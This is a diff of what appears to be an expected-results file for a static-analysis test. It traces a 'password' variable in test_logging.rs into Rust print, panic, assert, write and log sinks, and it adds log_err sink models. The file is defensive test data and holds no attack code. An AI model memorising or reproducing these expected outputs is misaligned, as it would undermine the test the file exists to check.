test_logging.rs:187:30:187:37 | password | test_logging.rs:187:12:187:37 | MacroExpr | provenance | | +| test_logging.rs:188:14:188:37 | MacroExpr | test_logging.rs:188:5:188:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | +| test_logging.rs:188:30:188:37 | password | test_logging.rs:188:14:188:37 | MacroExpr | provenance | | +| test_logging.rs:189:13:189:38 | MacroExpr | test_logging.rs:189:5:189:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:189:31:189:38 | password | test_logging.rs:189:13:189:38 | MacroExpr | provenance | | +| test_logging.rs:190:15:190:38 | MacroExpr | test_logging.rs:190:5:190:39 | ...::_eprint | provenance | MaD:7 Sink:MaD:7 | +| test_logging.rs:190:31:190:38 | password | test_logging.rs:190:15:190:38 | MacroExpr | provenance | | +| test_logging.rs:193:23:193:46 | MacroExpr | test_logging.rs:193:16:193:47 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:193:39:193:46 | password | test_logging.rs:193:23:193:46 | MacroExpr | provenance | | +| test_logging.rs:194:22:194:45 | MacroExpr | test_logging.rs:194:16:194:46 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:194:38:194:45 | password | test_logging.rs:194:22:194:45 | MacroExpr | provenance | | +| test_logging.rs:195:31:195:54 | MacroExpr | test_logging.rs:195:16:195:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:195:47:195:54 | password | test_logging.rs:195:31:195:54 | MacroExpr | provenance | | +| test_logging.rs:196:29:196:52 | MacroExpr | test_logging.rs:196:16:196:53 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:196:45:196:52 | password | test_logging.rs:196:29:196:52 | MacroExpr | provenance | | +| test_logging.rs:197:31:197:54 | MacroExpr | test_logging.rs:197:16:197:55 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:197:47:197:54 | password | test_logging.rs:197:31:197:54 | MacroExpr | provenance | | +| test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | test_logging.rs:198:16:198:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:198:33:198:56 | MacroExpr | test_logging.rs:198:33:198:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:198:49:198:56 | password | test_logging.rs:198:33:198:56 | MacroExpr | provenance | | +| test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | test_logging.rs:199:16:199:57 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:199:33:199:56 | MacroExpr | test_logging.rs:199:33:199:56 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:199:49:199:56 | password | test_logging.rs:199:33:199:56 | MacroExpr | provenance | | +| test_logging.rs:200:37:200:60 | MacroExpr | test_logging.rs:200:16:200:61 | ...::panic_fmt | provenance | MaD:3 Sink:MaD:3 | +| test_logging.rs:200:53:200:60 | password | test_logging.rs:200:37:200:60 | MacroExpr | provenance | | +| test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | test_logging.rs:201:16:201:63 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:201:39:201:62 | MacroExpr | test_logging.rs:201:39:201:62 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:201:55:201:62 | password | test_logging.rs:201:39:201:62 | MacroExpr | provenance | | +| test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | test_logging.rs:202:17:202:64 | ...::assert_failed | provenance | MaD:2 Sink:MaD:2 | +| test_logging.rs:202:40:202:63 | MacroExpr | test_logging.rs:202:40:202:63 | ...::Some(...) [Some] | provenance | | +| test_logging.rs:202:56:202:63 | password | test_logging.rs:202:40:202:63 | MacroExpr | provenance | | +| test_logging.rs:203:34:203:66 | res | test_logging.rs:203:42:203:65 | { ... } | provenance | | +| test_logging.rs:203:34:203:75 | ... .as_str() | test_logging.rs:203:27:203:32 | expect | provenance | MaD:1 Sink:MaD:1 | +| test_logging.rs:203:42:203:65 | ...::format(...) | test_logging.rs:203:34:203:66 | res | provenance | | +| test_logging.rs:203:42:203:65 | ...::must_use(...) | test_logging.rs:203:34:203:75 | ... .as_str() | provenance | MaD:15 | +| test_logging.rs:203:42:203:65 | MacroExpr | test_logging.rs:203:42:203:65 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:203:42:203:65 | { ... } | test_logging.rs:203:42:203:65 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:203:58:203:65 | password | test_logging.rs:203:42:203:65 | MacroExpr | provenance | | +| test_logging.rs:209:36:209:70 | res | test_logging.rs:209:44:209:69 | { ... } | provenance | | +| test_logging.rs:209:36:209:81 | ... .as_bytes() | test_logging.rs:209:30:209:34 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:209:44:209:69 | ...::format(...) | test_logging.rs:209:36:209:70 | res | provenance | | +| test_logging.rs:209:44:209:69 | ...::must_use(...) | test_logging.rs:209:36:209:81 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:209:44:209:69 | MacroExpr | test_logging.rs:209:44:209:69 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:209:44:209:69 | { ... } | test_logging.rs:209:44:209:69 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:209:62:209:69 | password | test_logging.rs:209:44:209:69 | MacroExpr | provenance | | +| test_logging.rs:210:40:210:74 | res | test_logging.rs:210:48:210:73 | { ... } | provenance | | +| test_logging.rs:210:40:210:85 | ... .as_bytes() | test_logging.rs:210:30:210:38 | write_all | provenance | MaD:6 Sink:MaD:6 | +| test_logging.rs:210:48:210:73 | ...::format(...) | test_logging.rs:210:40:210:74 | res | provenance | | +| test_logging.rs:210:48:210:73 | ...::must_use(...) | test_logging.rs:210:40:210:85 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:210:48:210:73 | MacroExpr | test_logging.rs:210:48:210:73 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:210:48:210:73 | { ... } | test_logging.rs:210:48:210:73 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:210:66:210:73 | password | test_logging.rs:210:48:210:73 | MacroExpr | provenance | | +| test_logging.rs:213:15:213:49 | res | test_logging.rs:213:23:213:48 | { ... } | provenance | | +| test_logging.rs:213:15:213:60 | ... .as_bytes() | test_logging.rs:213:9:213:13 | write | provenance | MaD:5 Sink:MaD:5 | +| test_logging.rs:213:23:213:48 | ...::format(...) | test_logging.rs:213:15:213:49 | res | provenance | | +| test_logging.rs:213:23:213:48 | ...::must_use(...) | test_logging.rs:213:15:213:60 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:213:23:213:48 | MacroExpr | test_logging.rs:213:23:213:48 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:213:23:213:48 | { ... } | test_logging.rs:213:23:213:48 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:213:41:213:48 | password | test_logging.rs:213:23:213:48 | MacroExpr | provenance | | +| test_logging.rs:216:15:216:49 | res | test_logging.rs:216:23:216:48 | { ... } | provenance | | +| test_logging.rs:216:15:216:60 | ... .as_bytes() | test_logging.rs:216:9:216:13 | write | provenance | MaD:4 Sink:MaD:4 | +| test_logging.rs:216:23:216:48 | ...::format(...) | test_logging.rs:216:15:216:49 | res | provenance | | +| test_logging.rs:216:23:216:48 | ...::must_use(...) | test_logging.rs:216:15:216:60 | ... .as_bytes() | provenance | MaD:14 | +| test_logging.rs:216:23:216:48 | MacroExpr | test_logging.rs:216:23:216:48 | ...::format(...) | provenance | MaD:16 | +| test_logging.rs:216:23:216:48 | { ... } | test_logging.rs:216:23:216:48 | ...::must_use(...) | provenance | MaD:17 | +| test_logging.rs:216:41:216:48 | password | test_logging.rs:216:23:216:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | | 2 | Sink: lang:core; crate::panicking::assert_failed; log-injection; Argument[3].Field[crate::option::Option::Some(0)] | @@ -224,218 +257,252 @@ models | 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | -| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 11 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | -| 12 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | -| 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 14 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 9 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 10 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_expect; log-injection; Argument[0] | +| 11 | Sink: repo:https://github.com/DesmondWillowbrook/rs-log_err:log_err; ::log_unwrap; log-injection; Argument[self].Field[crate::result::Result::Err(0)] | +| 12 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[1] | +| 13 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | +| 14 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; value | +| 15 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; value | +| 16 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 17 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes -| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:42:28:42:35 | password | semmle.label | password | | test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | | test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:43:28:43:35 | password | semmle.label | password | -| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:44:27:44:34 | password | semmle.label | password | -| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:45:12:45:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:45:28:45:35 | password | semmle.label | password | -| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | -| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:46:27:46:34 | password | semmle.label | password | -| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:47:40:47:47 | password | semmle.label | password | -| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:52:28:52:35 | password | semmle.label | password | -| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | -| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:54:41:54:48 | password | semmle.label | password | -| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:56:39:56:46 | password | semmle.label | password | -| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | -| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:57:24:57:31 | password | semmle.label | password | -| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | -| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:5:44:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:44:12:44:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:28:44:35 | password | semmle.label | password | +| test_logging.rs:45:5:45:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:45:11:45:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:45:27:45:34 | password | semmle.label | password | +| test_logging.rs:46:5:46:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:46:12:46:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:46:28:46:35 | password | semmle.label | password | +| test_logging.rs:47:5:47:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:47:11:47:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:47:27:47:34 | password | semmle.label | password | +| test_logging.rs:48:5:48:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:48:24:48:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:48:40:48:47 | password | semmle.label | password | +| test_logging.rs:53:5:53:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:53:12:53:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:53:28:53:35 | password | semmle.label | password | +| test_logging.rs:55:5:55:49 | ...::log | semmle.label | ...::log | +| test_logging.rs:55:12:55:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:55:41:55:48 | password | semmle.label | password | +| test_logging.rs:57:5:57:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:57:12:57:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:57:39:57:46 | password | semmle.label | password | +| test_logging.rs:58:5:58:34 | ...::log | semmle.label | ...::log | +| test_logging.rs:58:12:58:33 | MacroExpr | semmle.label | MacroExpr | | test_logging.rs:58:24:58:31 | password | semmle.label | password | -| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | -| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:60:46:60:53 | password | semmle.label | password | -| test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:61:20:61:28 | &password | semmle.label | &password | -| test_logging.rs:61:20:61:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:61:21:61:28 | password | semmle.label | password | -| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:65:40:65:47 | password | semmle.label | password | -| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | -| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:67:58:67:65 | password | semmle.label | password | -| test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:68:18:68:26 | &password | semmle.label | &password | -| test_logging.rs:68:18:68:26 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:68:19:68:26 | password | semmle.label | password | -| test_logging.rs:72:5:72:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:72:39:72:46 | password | semmle.label | password | -| test_logging.rs:74:5:74:65 | ...::log | semmle.label | ...::log | -| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:74:57:74:64 | password | semmle.label | password | -| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:75:20:75:28 | &password | semmle.label | &password | -| test_logging.rs:75:20:75:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:75:21:75:28 | password | semmle.label | password | -| test_logging.rs:76:5:76:47 | ...::log | semmle.label | ...::log | -| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:76:39:76:46 | password | semmle.label | password | -| test_logging.rs:82:5:82:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:82:36:82:43 | password | semmle.label | password | -| test_logging.rs:84:5:84:62 | ...::log | semmle.label | ...::log | -| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:84:54:84:61 | password | semmle.label | password | -| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | -| test_logging.rs:85:20:85:28 | &password | semmle.label | &password | -| test_logging.rs:85:20:85:28 | &password [&ref] | semmle.label | &password [&ref] | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | -| test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | -| test_logging.rs:85:21:85:28 | password | semmle.label | password | -| test_logging.rs:86:5:86:44 | ...::log | semmle.label | ...::log | -| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:86:36:86:43 | password | semmle.label | password | -| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | -| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | -| test_logging.rs:93:15:93:22 | password | semmle.label | password | -| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | -| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | -| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | -| test_logging.rs:96:42:96:49 | password | semmle.label | password | -| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | -| test_logging.rs:99:14:99:46 | res | semmle.label | res | -| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | -| test_logging.rs:99:38:99:45 | password | semmle.label | password | -| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | -| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | -| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | -| test_logging.rs:129:9:129:10 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | semmle.label | TupleExpr [tuple.1] | -| test_logging.rs:129:25:129:32 | password | semmle.label | password | -| test_logging.rs:131:5:131:32 | ...::log | semmle.label | ...::log | -| test_logging.rs:131:12:131:31 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:131:28:131:29 | t1 [tuple.1] | semmle.label | t1 [tuple.1] | -| test_logging.rs:131:28:131:31 | t1.1 | semmle.label | t1.1 | -| test_logging.rs:152:5:152:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:152:12:152:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:152:30:152:37 | password | semmle.label | password | -| test_logging.rs:153:5:153:38 | ...::_print | semmle.label | ...::_print | -| test_logging.rs:153:14:153:37 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:153:30:153:37 | password | semmle.label | password | -| test_logging.rs:154:5:154:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:154:13:154:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:154:31:154:38 | password | semmle.label | password | -| test_logging.rs:155:5:155:39 | ...::_eprint | semmle.label | ...::_eprint | -| test_logging.rs:155:15:155:38 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:155:31:155:38 | password | semmle.label | password | -| test_logging.rs:158:16:158:47 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:158:23:158:46 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:158:39:158:46 | password | semmle.label | password | -| test_logging.rs:159:16:159:46 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:159:22:159:45 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:159:38:159:45 | password | semmle.label | password | -| test_logging.rs:160:16:160:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:160:31:160:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:160:47:160:54 | password | semmle.label | password | -| test_logging.rs:161:16:161:53 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:161:29:161:52 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:161:45:161:52 | password | semmle.label | password | -| test_logging.rs:162:16:162:55 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:162:31:162:54 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:162:47:162:54 | password | semmle.label | password | -| test_logging.rs:163:16:163:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:163:33:163:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:163:33:163:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:163:49:163:56 | password | semmle.label | password | -| test_logging.rs:164:16:164:57 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:164:33:164:56 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:164:33:164:56 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:164:49:164:56 | password | semmle.label | password | -| test_logging.rs:165:16:165:61 | ...::panic_fmt | semmle.label | ...::panic_fmt | -| test_logging.rs:165:37:165:60 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:165:53:165:60 | password | semmle.label | password | -| test_logging.rs:166:16:166:63 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:166:39:166:62 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:166:39:166:62 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:166:55:166:62 | password | semmle.label | password | -| test_logging.rs:167:17:167:64 | ...::assert_failed | semmle.label | ...::assert_failed | -| test_logging.rs:167:40:167:63 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | -| test_logging.rs:167:40:167:63 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:167:56:167:63 | password | semmle.label | password | -| test_logging.rs:168:27:168:32 | expect | semmle.label | expect | -| test_logging.rs:168:34:168:66 | res | semmle.label | res | -| test_logging.rs:168:34:168:75 | ... .as_str() | semmle.label | ... .as_str() | -| test_logging.rs:168:42:168:65 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:168:42:168:65 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:168:42:168:65 | { ... } | semmle.label | { ... } | -| test_logging.rs:168:58:168:65 | password | semmle.label | password | -| test_logging.rs:174:30:174:34 | write | semmle.label | write | -| test_logging.rs:174:36:174:70 | res | semmle.label | res | -| test_logging.rs:174:36:174:81 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:174:44:174:69 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:174:44:174:69 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:174:44:174:69 | { ... } | semmle.label | { ... } | -| test_logging.rs:174:62:174:69 | password | semmle.label | password | -| test_logging.rs:175:30:175:38 | write_all | semmle.label | write_all | -| test_logging.rs:175:40:175:74 | res | semmle.label | res | -| test_logging.rs:175:40:175:85 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:175:48:175:73 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:175:48:175:73 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:175:48:175:73 | { ... } | semmle.label | { ... } | -| test_logging.rs:175:66:175:73 | password | semmle.label | password | -| test_logging.rs:178:9:178:13 | write | semmle.label | write | -| test_logging.rs:178:15:178:49 | res | semmle.label | res | -| test_logging.rs:178:15:178:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:178:23:178:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:178:23:178:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:178:23:178:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:178:41:178:48 | password | semmle.label | password | -| test_logging.rs:181:9:181:13 | write | semmle.label | write | -| test_logging.rs:181:15:181:49 | res | semmle.label | res | -| test_logging.rs:181:15:181:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | -| test_logging.rs:181:23:181:48 | ...::format(...) | semmle.label | ...::format(...) | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | -| test_logging.rs:181:23:181:48 | MacroExpr | semmle.label | MacroExpr | -| test_logging.rs:181:23:181:48 | { ... } | semmle.label | { ... } | -| test_logging.rs:181:41:181:48 | password | semmle.label | password | +| test_logging.rs:59:5:59:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:59:12:59:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:59:24:59:31 | password | semmle.label | password | +| test_logging.rs:61:5:61:54 | ...::log | semmle.label | ...::log | +| test_logging.rs:61:30:61:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:61:46:61:53 | password | semmle.label | password | +| test_logging.rs:62:5:62:55 | ...::log | semmle.label | ...::log | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:62:20:62:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:62:20:62:28 | &password | semmle.label | &password | +| test_logging.rs:62:20:62:28 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:62:20:62:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:62:21:62:28 | password | semmle.label | password | +| test_logging.rs:66:5:66:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:66:24:66:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:66:40:66:47 | password | semmle.label | password | +| test_logging.rs:68:5:68:66 | ...::log | semmle.label | ...::log | +| test_logging.rs:68:42:68:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:68:58:68:65 | password | semmle.label | password | +| test_logging.rs:69:5:69:67 | ...::log | semmle.label | ...::log | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | +| test_logging.rs:69:18:69:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | +| test_logging.rs:69:18:69:26 | &password | semmle.label | &password | +| test_logging.rs:69:18:69:26 | &password [&ref] | semmle.label | &password [&ref] | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | +| test_logging.rs:69:18:69:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | +| test_logging.rs:69:19:69:26 | password | semmle.label | password | +| test_logging.rs:73:5:73:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:73:23:73:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:73:39:73:46 | password | semmle.label | password | +| test_logging.rs:75:5:75:65 | ...::log | semmle.label | ...::log | +| test_logging.rs:75:41:75:64 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:75:57:75:64 | password | semmle.label | password | +| test_logging.rs:76:5:76:51 | ...::log | semmle.label | ...::log | +| test_logging.rs:76:20:76:28 | &... 